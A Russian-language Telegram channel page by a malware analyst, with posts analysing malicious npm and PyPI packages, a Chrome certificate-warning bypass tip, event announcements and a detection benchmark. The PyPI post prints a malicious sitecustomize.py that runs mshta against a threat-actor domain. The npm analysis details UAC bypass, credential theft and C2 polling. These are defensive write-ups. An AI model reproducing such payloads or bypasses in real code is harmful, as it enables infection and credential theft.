disasm.me channel
الذهاب إلى القناة على Telegram
Канал вирусного аналитика, занимающегося безопасностью опенсорса и технологиями искусственного интеллекта. Плюс заметки по аспирантуре :) Автор: @hexadec1mal В чате сидит Guard-бот, будьте внимательнее.
إظهار المزيد2 503
المشتركون
-124 ساعات
-37 أيام
+3830 أيام
أرشيف المشاركات
2 503
У нас пропала реакция кота-клоуна 🤡
Прошу неравнодушных восстановить справедливость. Вместе мы обязательно справимся)
@disasm_me_ch
2 503
Интересное наблюдение с прошедшего CyberCamp насчёт отношения спикеров к ИИ
С одной стороны у нас есть Сергей Зыбнев (автор канала Похек) и Иван Булавин (директор по продуктам программы Standoff 365, в которую входят багбаунти, киберполигон и онлайн-симулятор для блютима).
Они положительно смотрят на ИИ и изучают, как он может усилить способности специалистов при решении задач пентеста, багбаунти, редтима, SOC, IR. В частности, поднимают темы о том, как ИИ могут увеличить полноценность ресёрчей в плане внимания к мелким деталям. С вниманием к слабым сторонам агентов.
С другой стороны стоит Андрей Левкин (руководитель продукта BI
.ZONE Bug Bounty). Ему приходится бороться с волной нейрослопа и кратным ростом числа мусорных отчётов. Один из тейков его доклада "Суд присяжных над AI-отчётом" звучит так: "Пока тонны бессмысленных ИИ-репортов хотя бы немного окупают подписку, волны спама не прекратятся".
И его позицию можно понять. Как сейчас принято говорить, ассистенты и агенты — это множители способностей. Нужно обладать экспертизой, чтобы мочь проверять ИИ-выхлоп на адекватность — иначе получится умножение на бесконечно малую величину.
И где-то между ними Алексей Лукацкий, который прогнозирует погибель существующих решений для LLM Observability: ведь есть традиционный SIEM, на который уже можно возложить часть текущих проблем.
В хорошее время живём, историческое)
@disasm_me_ch2 503
Лето, парк, CyberCamp ❤️❤️
В следующую пятницу (17 июля) друзья из CyberCamp организовывают ИБ-мероприятие на свежем воздухе в парке в Строгино
Трансляции не будет, да и лучше очно послушать последние изыскания Зыбнева (ведёт канал Похек) по ИИ-инструментам или про ИИ-багхантеров на Позитивной платформе Standoff)
Я схожу 🐈 В программе 10 докладов по научпопу, ИИ, багбаунти. Темы докладов и спикеры — моё почтение
Билеты стоят 1000 рублей (студенческие — 500), деньги идут на благотворительность. Для вас, мои любимые читатели, до 9 июля 23:59 будет действовать промокод на 50%:
LETODIS50.
Сайт мероприятия
@disasm_me_ch2 503
Repost from ESCalator
+3
Кто-то сказал sandbox? 👀
В очередной раз наблюдаем, как злоумышленники проводят неэтичные ресерчи.
Дано:
Исследователь по безопасности
Nicholas Curran
Он опубликовал пакеты с интересными названиями:
🌟2 пакета npm-sandbox-ping-[4 символа]
🌟8 пакетов npm-sandbox-research-[4 символа]
🌟postinstall-logger-7x9z
🌟pkg-telemetry-r4f9
🌟runtime-metrics-w7k2
🌟event-metrics-q3x7
🌟build-tracker-n5p1
Согласно описанию (скриншот 1), эти пакеты созданы в рамках багбаунти-программы.
Автор заявляет, что:
🔗Пакеты безопасны.
🔗Все чувствительные данные перед отправкой хэшируются — не происходит никакого разглашения секретов.
🔗Пакеты не выполняют закрепления в системе, перемещения в сети и деструктивных действий.
🔗Цель исследования: изучить, изолирует ли npm-песочница небезопасные установочные скрипты.
Ресерч безопасности песочниц? Такое мы любим. Давайте посмотрим, как это реализовано.
Нагрузка стартует дважды: до и после установки пакета (скриншот 2). За Windows-логику отвечает beaconXX.js, все остальные платформы обрабатываются beacon_linux.js. Даже macOS.
Логика под Windows
beaconXX.js (скриншот 3):
1️⃣ Эксплуатирует известный обход UAC через fodhelper.exe. Для этого, помимо запуска файла, необходимо внести изменения в реестр Windows.
2️⃣ Дропает PowerShell-скрипт в %TEMP% и запускает его с повышенными привилегиями.
PowerShell-скрипт:
1️⃣ Удаляет внесенные в реестр изменения.
2️⃣ Собирает:
🐟 артефакты, специфичные для изучаемой песочницы, с диска D, в том числе файл findings.xml;
🐟 список секретов из Credential Manager;
🐟 npm config list — сюда попадают в том числе токены аутентификации для учетной записи npm;
🐟 все переменные окружения.
3️⃣ Заметает следы, перезаписывая findings.xml следующим текстом:
<ArrayOfTaskFinding></ArrayOfTaskFinding>4️⃣ Собранные данные кодирует в base64 и просто отправляет на управляющий сервер... без хэширования, о котором заявлено в
README.md 🤪
5️⃣ В вечном цикле каждые 5 секунд обращается к управляющему серверу за командами на исполнение.
Учитывая, как код пытается вмешаться в работу песочницы, можно предположить, что это кастомная песочница с агентом наподобие Cuckoo Sandbox.
Логика под non-Windows
beacon_linux.js (скриншот 4):
1️⃣ Собирает:
🐟 список имён всех переменных окружения;
🐟 значения интересных переменных окружения, связанных с GitHub, NPM, раннерами, пользователем;
🐟 список сетевых интерфейсов.
2️⃣ Проверяет возможности для побега из контейнера, собирая:
🐟 содержимое /proc/1/cgroup (информация об ограничениях контейнера);
🐟 команду запуска процесса с PID 1;
🐟 список примонтированных томов.
🐟 набор capabilities своего процесса;
🐟 наличие /var/run/docker.sock (позволяет управлять Docker с потенциалом полностью захватить устройство);
🐟 доступ к /proc/sched_debug (позволяет разведать процессы, запущенные на хосте).
3️⃣ Собирает артефакты, связанные с CI/CD: список файлов текущего проекта и /home/runner/work, логи GitHub.
4️⃣ Отправляет отчет на управляющий сервер.
Заключение
Пакеты не соответствуют благим целям, о которых нам заявляли в README.md, — поэтому мы зарепортили админам NPM об этом недоразумении.
Странно видеть такое поведение от багхантера, имеющего учетную запись на HackerOne с 2017 🤔
Хотите проверить свои проекты на наличие вредоносных внешних зависимостей? Попробуйте фиды для безопасной разработки из PT Fusion.#ti #scs #npm @ptescalator
2 503
Занятное-актуальное хромовское
Сталкиваюсь с ру-сайтами, которые не успели отреагировать на недавнюю волну с отзывом сертификатов GlobalSign. Chrome обычно на проблемы с сертификатами разрешает нажать "I accept the risk" и дальше продолжить пользоваться сайтом, но не в этом случае — для отозванных сертификатов или нарушения политики HSTS такой кнопки просто нет 😑
Но, если очень нужно, в Chrome на странице ошибки можно набрать фразу "thisisunsafe" ("this is unsafe" — "это небезопасно") — и тогда браузер перестанет с вами бороться 😊
Проверить поведение браузера на отозванный сертификат: https://revoked.badssl.com/
Ну и предупреждаю, что в каждом отдельном случае вам нужно сознательно проверить (погуглить), почему у сайта возникли проблемы с сертификатом — вдруг это хахакеры вас митмят
@disasm_me_ch
2 503
Абьюз site-packages: strikes back
Мы с вами уже разбирали, что злоумышленники используют для закрепления стандартный модуль Python
site — в атаке TeamPCP на LiteLLM. Нашёл ещё один кейс, который не будет ловиться простым правилом "возбуждаемся на .pth-файлы"
Дано: PyPI-пакет temp-development-package-test 🤨
Во время установки пакета исполняется код на скриншоте 1.
Его задача — скопировать заранее подготовленный файл sitecustomize.py в каталог site-packages. По-хорошему этот файл является конфигурационным модулем для site, но в него можно положить любой Python-код, чем и пользуется злоумышленник. В итоге возникает такая же ситуация, как и с .pth-файлами: исполнение кода при каждом запуске интерпретатора без виртуального окружения.
Сам вредоносный sitecustomize.py — двухстрочник:
import os
os.system('cmd /c "mshta http://[threat actor domain]"')
Non-Windows-юзеры, можем спать спокойно. mshta — это Windows-инструмент, который умеет исполнять VBScript-, JavaScript- и HTA-скрипты.
Злоумышленник смекалистый: если обратиться к странице с юзер-агентом не от mshta, то нам вернут просто заглушку с подключённым Cloudflare Insights для сбора базовой информации о браузере 😱
Если передать ожидаемый юзер-агент, скачивается VBScript, который содержит два файла, представленные в base64 — легитимный CameraSettingsUIHost.exe, уязвимый к DLL Side-Loading, и DLL-библиотеку со следующим стейджем.
———
Такая кампания выглядит ближе к традиционному киберкрайму: тот же DLL Side-Loading привычно видеть во вредоносных кампаниях, не связанных с опенсорсом... Интересно, зачем при таких навыках злоумышленник ограничился только Windows-юзерами 👃
#pypi #scs
@disasm_me_ch2 503
🤔
Нашёл этот шедевр. Кто-то похоже игрался с процентами — и проиграл
Вайбкодовый мир победил, антропик оказался сильней
@disasm_me_ch
2 503
😑
Смартфон в кармане решил форварднуть текст из первого закреплённого чата в идущие за ним закреплённые чаты
Меня не взломали, и это не CTF-таска. Спасибо за бдительность)
2 503
Repost from N/a
桌子 下面 的 秘密
我家 有 一张 桌子 和 两把 椅子 。桌子 上 有 一台 电脑 和 一台 电视 ,还有 一本 书 。
可是, 桌子 下面 有 什么? 那儿 不 只 有 灰尘 ,还有 一只 猫 和 一只 狗 的 小玩具 。猫 和 狗 一起 睡觉 ,玩得 很 开心 。
每次 我 坐在 椅子 上 , 都能 看到 桌子 下面 的 秘密 。我 觉得 很 有趣 , 现在 你 想 看 吗 ?
2 503
Вышел Positive Research 2026, №2
Там есть статья за авторством вашего слуги опенсорса 🤗
Цифровая гигиена разработчика: стараемся не попасться на удочку злоумышленника Страницы 85-107Советую в принципе глянуть этот и другие выпуски: каждый из них является дизайнерским искусством, да и авторы рассказывают интересные темы) У меня есть три физические копии журнала. Хочу их подарить трём счастливчикам, которые до 23 июня напишут комментарий к посту, где будет фигурировать слово "журнал" 😑 @disasm_me_ch
2 503
Repost from False Positive
Помните кейс LiteLLM?
Мы дропаем OMCBench (Open Malicious-Code Benchmark) - бенчмарк оценки качества по обнаружению вредоносного кода:
- 3 языка: Python, JavaScript, TypeScript
- 400 вредоносных пакетов, 400 чистых из pypi/npm
- пофайловая LLM разметка, о которой говорили на OFFZONE прошлым летом
- Открытая лицензия, BSD-2
Открытые решения на нем набирают не больше 75% F1, выдавая ~50% False Positive результатов...
Те, кто уже нажал звездочку на гитхабе, могли заметить, что в таблице мы также анонсим MOLOT - нашу модель для решения этого класса задач. Ловите блогпост, а на подходе arxiv статья с подробностями про анализ графов вызовов бертами, LLM разметку и выкатку в prod!
Ждите дроп статьи в канале, stay tuned!
2 503
Ощущаю первые последствия недавней презентации от Google
Слева — старая вкладка в Google Slides, справа — новая
Эх, я слишком стар, чтобы раз в пару лет вновь привыкать к новому оформлению
2 503
В инфополе активно форсится мемная идея, что для защиты от кампаний TeamPCP надо поставить русскоязычную локаль.
Как выглядит проверка в рамках кампании arch Linux Mint btw и проверку я бы не прошёл —
mistralai:
try:
lang = os.environ.get('LANG', '').split('.')[0]
_log(f"LANG environment variable: {lang}")
if lang.lower().startswith('ru'):
_log("Russia check failed: LANG starts with 'ru', exiting")
sys.exit(1)
_log("Russia check passed")
except Exception as e:
_log(f"Russia check exception (continuing): {e}")
Переменная окружения LANG не существует под Windows. Благо ранее есть ещё одна проверка:
_log("Starting main checks")
_log(f"Platform: {sys.platform}")
if sys.platform not in ('linux'):
_log("Platform check failed: not Linux, exiting")
sys.exit(1)
_log("Platform check passed")
Виндоводы — выдыхаем. У меня LANG у меня имеет значение en_US.UTF-8. Пора исправляться
#pypi #scs
@disasm_me_ch